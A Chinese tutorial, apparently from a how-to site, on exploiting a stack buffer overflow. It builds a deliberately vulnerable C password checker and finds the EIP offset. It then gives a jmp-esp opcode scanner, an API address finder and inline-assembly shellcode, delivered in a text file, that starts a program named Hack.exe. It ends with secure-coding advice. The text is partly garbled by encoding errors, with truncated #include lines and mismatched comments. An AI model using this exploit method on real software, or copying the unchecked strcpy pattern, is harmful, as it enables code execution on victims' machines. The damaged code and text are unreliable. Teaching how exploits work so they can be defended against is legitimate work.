怎樣利用簡單程序漏洞反病毒
怎樣利用簡單程序漏洞反病毒
電腦已經(jīng)走進我們的生活,與我們的生活息息相關,感覺已經(jīng)離不開電腦與網(wǎng)絡,對于電腦病毒,今天小編在這里給大家推薦一些預防電腦病毒相關文章,歡迎大家圍觀參考,想了解更多,請繼續(xù)關注學習啦。
一、前言
大都數(shù)“病毒”都是可執(zhí)行文件(EXE格式),都是傳統(tǒng)意義上的惡意程序,它們在被用戶雙擊運行后,就開始執(zhí)行自身代碼,實現(xiàn)相應的功能,從而對用戶的計算機產(chǎn)生威脅。而這次我打算討論一種特殊的情況,也就是利用正常程序所存在的漏洞,僅僅通過文本文檔(TXT格式),來實現(xiàn)我們的對話框的啟動。所以這篇文章的討論重點就在于簡單的漏洞發(fā)掘以及運用ShellCode實現(xiàn)漏洞的利用。在此不會討論復雜的情況,僅僅用淺顯的例子來說明這些問題,因為即便是現(xiàn)實中的復雜情況,其基本原理是相似的。這也是為以后的篇章中討論更加復雜的情況打下基礎。
二、編寫含有漏洞的程序
在現(xiàn)今的軟件開發(fā)中,盡管程序員的水平在提高,編程技巧在不斷進步,但是大部分人對于計算機安全的概念還是比較模糊的,真正掌握計算機安全技術的人畢竟還是少數(shù)。特別是計算機安全往往還涉及到系統(tǒng)底層原理、匯編甚至是機器碼,這就更加令人望而卻步。我在這里討論的就是一個含有漏洞的程序,它含有緩沖區(qū)溢出漏洞。緩沖區(qū)溢出攻擊是一種非常有效而常見的攻擊方法,在被發(fā)現(xiàn)的眾多漏洞中,它占了大部分。
以下就是本次所研究的程序:
#include #include
#include #define PASSWORD "1234567890"
int CheckPassword(char *pPassword)
{ int nCheckFlag;
char szBuffer[30]; nCheckFlag = strcmp(pPassword, PASSWORD);
strcpy(szBuffer, pPassword); //存在溢出漏洞 return nCheckFlag;
}
int main() {
int nFlag = 0; char szPassword[1024];
FILE *fp; LoadLibrary("user32.dll");
if(!(fp=fopen("password.txt", "rw+"))) {
return 0; }
fscanf(fp,"%s",szPassword); nFlag=CheckPassword(szPassword);
if(nFlag) {
printf("Incorrect password!\n"); }
else {
printf("Correct password!\n"); }
fclose(fp); getchar();
return 0; }
這里來講解一下程序的運行流程。main函數(shù)中首先會打開當前目錄下的password.txt文件,然后調(diào)用CheckPassword函數(shù),該函數(shù)會對從password.txt文件讀取出來的內(nèi)容與字符串“1234567890”進行比較,用于驗證密碼是否正確,之后將用戶所輸入的密碼拷貝到子函數(shù)自己創(chuàng)建的數(shù)組中,再返回到主函數(shù),最后對用戶所輸入的密碼是否正確進行顯示。
這個程序中之所以要用TXT文件來保存用戶輸入的密碼,就是為了方便之后的討論與觀察。而在子函數(shù)中將用戶輸入的密碼拷貝到一個數(shù)組中,僅僅是為了創(chuàng)造一個緩沖區(qū)溢出的漏洞,也是為了方便之后的討論。在現(xiàn)實中,可能難以出現(xiàn)這樣的情況。但是原理是一樣的,緩沖區(qū)溢出漏洞出現(xiàn)的原因就是因為沒能檢測待拷貝數(shù)據(jù)的大小,而直接將該數(shù)據(jù)復制到另一個緩沖區(qū)中,從而使得惡意程序得到了攻擊的機會。
三、漏洞原理的分析
不論是對于本篇文章所討論的最簡單的緩沖區(qū)溢出的漏洞,還是復雜的,可能會在未來的文章中討論的堆溢出以及SEH的利用,其核心可以說都是利用了指針(或者說是相應的地址)來做文章。對于這次的程序來說,首先需要從反匯編的角度簡單講一下程序的執(zhí)行原理。
主函數(shù)中會調(diào)用CheckPassword函數(shù),那么在反匯編中,就需要找到調(diào)用該函數(shù)的位置,這個很簡單:
004010F3 E8 0DFFFFFF call 00401005
之所以能很快確定函數(shù)的位置,是因為它在源程序中就在fscanf函數(shù)的后面,那么反匯編中,他的位置也在fscanf的后面。這里有必要簡單說一下call的實現(xiàn)原理。它分為兩步,第一步是向棧中壓入當前指令在內(nèi)存中的位置,即保存返回地址(EIP所保存的地址,也就是call的下一條指令,EIP入棧);第二步是跳轉(zhuǎn)到所調(diào)用函數(shù)的入口處。進入這個call,來到以下反匯編代碼處:
00401020 55 push ebp 00401021 8BEC mov ebp,esp
00401023 83EC 64 sub esp,64
可以說每一個函數(shù)的開始,其反匯編結(jié)果都是這么幾句。主要是三步:第一步需要保存當前棧幀狀態(tài)值,以備后面恢復本棧幀時使用(EBP入棧);第二步將當前棧幀切換到新棧(將ESP值裝入EBP,更新棧幀底部);第三步給新棧幀分配空間(把ESP減去所需空間的大小,抬高棧幀)。
這里需要說明的是,以上所分析的是程序的Debug版,如果是Release版,由于做了優(yōu)化,可能會有些不同,但也是遵循基本原理,在這里就不再對Release版進行討論。
現(xiàn)在來看看堆棧中的情況,按照內(nèi)存地址遞減的順序,EBP相比EIP位于內(nèi)存的低地址處,這兩個寄存器在棧中是挨著的。再來看看CheckPassword函數(shù)結(jié)尾處的反匯編代碼:
0040106C 8BE5 mov esp,ebp 0040106E 5D pop ebp
0040106F C3 retn
可見這里首先將esp指向了當前棧幀的棧底,之后從棧中彈出原始ebp的值,這樣就實現(xiàn)了恢復棧幀的操作。之后的retn語句,就是再次彈出棧頂?shù)闹?EIP),并轉(zhuǎn)去執(zhí)行EIP所指向的語句,也就是之前的call的下一條語句。
分析至此,就可以發(fā)現(xiàn),我們可以通過修改EIP所保存的值(指令地址),來實現(xiàn)跳轉(zhuǎn)到我們自己的“病毒代碼”地址處的目的。當然這里我不會利用反匯編工具進行修改,而是直接運用password.txt這個文本文檔來實現(xiàn)。
四、定位EIP
知道了漏洞利用的原理,那么接下來就需要確定EIP的位置。EIP的位置盡管可以通過反匯編工具獲得,但是在此我不想用這種簡單的方法,而是運用Windows的報錯對話框?qū)崿F(xiàn)EIP的定位。當EIP被覆蓋為一個無效地址后,系統(tǒng)就會提示出錯,報錯對話框就能夠顯示出來究竟是哪個地址(EIP)出錯,這里可以通過一些小技巧來定位。
當然,每個人往往有自己認為最好的定位方法,我個人比較喜歡的方法是運用26個小寫字母連同26個大寫字母組成一長串數(shù)據(jù)進行測試,這樣一次性就能夠測試52個字節(jié)的長度。具體方法是將這52個字母寫入password.txt文件,運行程序查看是否報錯,如果不報錯,就再寫入52個字母,直至報錯為止。幸運的是,在這個程序中,前52個字母就使得報錯對話框彈出了:
從報錯對話框中可以得知,EIP已經(jīng)被覆蓋為0x5251504f,通過查詢ASCII碼表可以得知,對應的四個字母是OPQR(小端顯示,我這里反過來寫了),于是可知,EIP的位置就是password.txt文檔內(nèi)容的第41至第44個字節(jié)處。
確定了EIP的位置,那么接下來就要確定應當給它賦以什么地址。這里當然可以利用反匯編軟件在程序中尋找空余的位置,將代碼寫入,然后令EIP指向該代碼處。但是這里我打算用更加巧妙的方法——jmp esp。我們可以將EIP指向內(nèi)存中jmp esp的地址,然后將我們的程序的機器碼(ShellCode)順序從EIP處向下(地址高處)覆蓋,這樣jmp esp就能夠直接跳到我們的代碼處執(zhí)行了。
首先編程序?qū)ふ襧mp esp:
#include #include
#include #define DLL_NAME "user32.dll"
int main()
{ BYTE *ptr;
int position,address; HINSTANCE handle;
BOOL done_flag = FALSE; handle = LoadLibrary(DLL_NAME);
if(!handle) {
printf("load dll error!"); exit(0);
} ptr = (BYTE*)handle;
for(position = 0; !done_flag; position++)
{ try
{ if(ptr[position]==0xFF && ptr[position+1]==0xE4)
{ int address = (int)ptr + position;
printf("OPCODE found at 0x%x\n", address); }
} catch(...)
{ int address = (int)ptr + position;
printf("END OF 0x%x\n", address); done_flag = true;
} }
return 0; }
程序執(zhí)行結(jié)果如下:
上述程序中是在user32.dll中尋找jmp esp的機器碼FFE4,會查找到很多的結(jié)果,選擇其中的一個就可以。這里需要特別說明的是,不同的計算機不同的操作系統(tǒng)版本,所找到的jmp esp的地址可能會不一樣,就是說jmp esp的地址往往并不是通用的。當然,也會有幾個地址是跨版本的,這個在這里不討論。這次我們選擇截圖中的第一個地址——0x77d93ac8。由于是小端顯示,所以應當在“OPQR”的位置反向書寫,即c83ad977。當然這里不能夠直接用類似于記事本這樣的軟件進行編輯,而是需要用十六進制代碼編輯器操作。
五、編寫ShellCode
為了簡單起見,我這里將“病毒”程序與上述漏洞程序放在同一目錄下,并且為了編寫方便,我這里將“病毒”名稱更改為Hack.exe。為了實現(xiàn)“病毒”的啟動,我不打算直接將“病毒”程序轉(zhuǎn)化為ShellCode,畢竟那樣的話工作量太大,而是編寫一個能夠啟動“病毒”程序的ShellCode。這里我使用WinExec函數(shù)用于“病毒”的啟動,最后再用ExitProcess函數(shù)實現(xiàn)程序的正常退出。查詢這兩個函數(shù)句柄的代碼如下:
#include #include
typedef void (*MYPROC)(LPTSTR); int main()
{ HINSTANCE LibHandle;
MYPROC ProcAdd; LibHandle = LoadLibrary("kernel32");
//獲取user32.dll的地址 printf("msvcrt LibHandle = //x%x\n", LibHandle);
//獲取MessageBoxA的地址 ProcAdd=(MYPROC)GetProcAddress(LibHandle,"WinExec");
printf("system = //x%x\n", ProcAdd);
return 0; }
運行結(jié)果如下:
上述程序首先需要知道被查詢函數(shù)所在的動態(tài)鏈接庫,先查出動態(tài)鏈接庫的地址,之后利用這個地址,從而查詢相應API函數(shù)的句柄??梢灾繵inExec的句柄為0x7c863231,那么同理,ExitProcess函數(shù)的句柄為0x7c81bfa2。
至此,我們已經(jīng)獲得了足夠的信息,接下來就可以進行ShellCode的編寫了,但是一般來說,我們不會特意去記憶十六進制的機器碼,因此都是先寫出匯編程序,然后利用相應的軟件通過轉(zhuǎn)換,從而查看其機器碼。具體的方法有很多,我還是比較傾向于在VC++6.0中以內(nèi)嵌匯編語言的形式進行編寫:
_asm {
xor ebx,ebx push ebx
push 0x6578652e push 0x6b636148
mov eax,esp ;壓入字符Hack.exe
push ebx push eax
mov eax,0x7c863231 call eax ;調(diào)用WinExec函數(shù)
push ebx
mov eax,0x7c81bfa2 call eax ;調(diào)用ExitProcess函數(shù)
}
這里需要把asm中的內(nèi)容轉(zhuǎn)化為機器碼,VC++6.0就可以實現(xiàn)(也可以使用其它反匯編軟件)。利用十六進制文件編輯器,將提取出來的機器碼直接填寫進password.txt中EIP的后面。
這里要說明的是,盡管以上僅僅是調(diào)用了非常簡單的函數(shù),但是實際上,不管是什么函數(shù),其調(diào)用原理和上面是一樣的,都是首先需要把參數(shù)從右至左入棧,然后call該函數(shù)所在的地址。為了增強可移植性,可以利用TEB獲取相關函數(shù)的句柄,從而編寫出通用性極高的ShellCode出來(這些高級方法可能會在以后的文章中討論)。由此可見,漏洞可以很容易被惡意程序所利用。
當編輯完password.txt后,運行CheckPassword.exe程序,結(jié)果如下圖所示:
由此可見,僅僅是通過修改password.txt就能夠在神不知鬼不覺的情況下實現(xiàn)病毒的啟動(盡管這一過程有諸多限制)。而這里所用到的WinExec函數(shù)也多用于“下載者”中,它是一種功能單一的惡意程序,能夠令受害的計算機到黑客指定的URL地址去下載更多的惡意程序并運行。“下載者”體積小,易于傳播,當它下載到病毒木馬后,通常就使用諸如WinExec這樣的函數(shù)來運行病毒。
六、“病毒”的防范
漏洞的發(fā)掘與利用是一個較為高深的話題,在現(xiàn)實中,其發(fā)掘的難度是遠遠高于我在這里所舉的例子的。高明的黑客手中往往掌握著一些不被軟件生產(chǎn)廠家所知道的漏洞,他們利用這些軟件漏洞,往往就能夠為所欲為。所以,這就要求我們培養(yǎng)良好的安全編碼習慣。在上述例子中,漏洞的出現(xiàn)就是因為使用了strcpy函數(shù),更具體來說,因為我們沒有對將要復制到緩沖區(qū)中的數(shù)據(jù)進行長度檢驗,導致了EIP被非法覆蓋,跳去了不應該去的位置,執(zhí)行了不該執(zhí)行的代碼。現(xiàn)實中的漏洞往往也是這個道理。所以在這種情況下,應當事先檢驗數(shù)據(jù)的長度,至少將strcpy替換成strncpy,盡管后者也存在危險,但至少會按照編程者要求的數(shù)據(jù)量的大小來拷貝數(shù)據(jù),這就安全多了。當然我們系統(tǒng)版本的不斷升級,在安全性方面也會不斷進步。比如加入的Security Cookie就能夠較好地對緩沖區(qū)溢出的問題進行防范。不過這也不是絕對安全的,畢竟在攻與防的對立統(tǒng)一中,技術是不斷進步的。但是歸根結(jié)底,只有在源頭上做足功夫,才會讓黑客們無從下手。
七、小結(jié)
本篇文章構造了一個特殊的環(huán)境——存在漏洞的程序——實現(xiàn)了“病毒”的自啟動。由于關于漏洞的知識體系比較龐大且較為高深,我也只能用這個簡單的程序來讓大家看看冰山的一角。這里需要再次說明的是,現(xiàn)實中漏洞的原理和利用方法可以說和這個例子是差不多的?,F(xiàn)實中可能需要我們編寫出更為通用的ShellCode來實現(xiàn)我們想要完成的功能,這些會在以后的文章中進行討論。本篇文章僅僅是為了打好基礎,為未來更加高深的知識的探討做好準備。